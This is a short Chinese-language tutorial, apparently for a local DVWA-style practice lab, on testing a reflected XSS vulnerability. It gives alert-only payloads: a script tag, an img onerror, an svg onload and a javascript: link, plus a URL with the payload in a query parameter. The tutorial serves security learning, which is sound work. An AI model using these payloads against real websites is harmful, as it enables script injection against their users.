📍 路径
访问：
http://localhost:8080/vulnerabilities/xss_r/
你会看到一个简单的表单，只有一个输入框，提示类似：
What’s your name?
🧪 Step 1：输入测试 Payload
在输入框里输入：
<script>alert('XSS')</script>
然后点击 Submit。
✅ 预期效果：
页面会刷新，同时浏览器会弹出一个提示框，显示内容为 XSS。
🔁 Step 2：确认漏洞是“反射型”
反射型 XSS 的特征是——你注入的脚本被立即反射回页面，例如你访问：
http://localhost:8080/vulnerabilities/xss_r/?name=<script>alert('XSS')</script>
你会发现你的输入直接出现在页面上，说明页面未做过滤/编码处理。
💡 Step 3：尝试其他 Payload
有些浏览器或安全等级会拦截
图片 onerror：
<img src=x onerror=alert('XSS')>
SVG onload：
<svg/onload=alert('XSS')>
JS URL 方案（有时配合链接）：
<a href="javascript:alert('XSS')">Click me</a>
)
